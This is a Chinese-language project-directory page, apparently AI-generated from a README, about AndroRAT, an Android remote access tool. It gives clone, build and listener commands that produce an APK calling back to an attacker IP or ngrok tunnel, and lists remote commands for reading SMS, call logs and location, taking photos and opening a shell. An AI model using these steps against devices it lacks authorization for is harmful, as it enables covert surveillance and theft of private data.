搜索你想找的开源项目

输入名称、用途或关键词,也可粘贴 GitHub 仓库链接

分享到微信

当前解读页的微信分享二维码

用微信扫一扫打开,点击右上角「···」分享给朋友或朋友圈。

手机上可截屏后,在微信扫一扫中从相册识别二维码。

karma9874/AndroRAT

安全

基于 Socket 的 Android 远程管理工具,Python 服务端生成 APK 并通过交互式解释器控制设备。

5,276
1,683
Java
MIT
创建于 6 年前

项目介绍

AndroRAT 是一个 Android 远程管理工具,采用客户端/服务端结构:Android 端是用 Java 编写的应用,通过 Socket 连接 Python 服务端;服务端可以构建 APK、监听连接,并提供交互式解释器来获取设备信息、拍摄照片、录音录像、读取短信与通话记录、定位、执行 shell 命令和传输文件 (2)(10)。

项目以源码形式提供,包含 Android Studio 工程和 Python 控制脚本,并声明仅用于教育目的 (3)(24)。

快速使用

需要 Python 3 以及 Java 或 Android Studio。先克隆仓库并安装 Python 依赖:

git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt

构建指向监听端的 APK。使用指定 IP 和端口:

python3 androRAT.py --build -i <攻击端IP> -p <攻击端端口> -o <输出文件名>.apk

或使用 ngrok 隧道:

python3 androRAT.py --build --ngrok -o <输出文件名>.apk

然后启动解释器:

python3 androRAT.py --shell -i 0.0.0.0 -p <监听端口>

客户端连接后,可使用 deviceInfo、takepic [cameraID]、getSMS [inbox|sent]、getCallLogs、getLocation、getSimDetails、getMACAddress 等命令;输入 shell 进入设备的 sh 会话,并用 get [full_file_path]、put [filename] 传输文件 (27)(28)。

也可以把 Android 工程导入 Android Studio,在 config.java 中设置 IP 和端口,再从构建菜单生成签名 APK (23)(25)。

使用约束

  • 声明的支持范围是 Android 4.1 到 9.0(API 16–28);Android 10 上部分解释器命令不稳定 (10)。
  • Windows 克隆仓库可能因文件名过长失败;启用 core.longpaths 需要以管理员权限运行 Git Bash (18)。
  • 拨号 *#*#1337#*#* 可打开设备上的控制面板,部分设备需要开启后台弹出窗口权限 (19)。
  • 安装生成的 APK 后,客户端可访问相机、麦克风、短信、通话记录、位置、SIM 卡信息和 shell 命令,只能在自己拥有或获得明确授权的设备上使用。
  • 项目采用 MIT 许可证 (33)。

HotRepo 点评

该项目出现在 HotRepo 2026-11-07 的 Java 日榜第 6 位,该快照新增 5 星,总星数 5,275。README 描述的持久化后门、隐藏图标和开机自启特性,意味着它更适合在隔离且获得授权的测试环境中处理,而不是当作通用工具使用。

本文由 AI 根据项目 README 生成,更新于 ,以项目官方文档为准。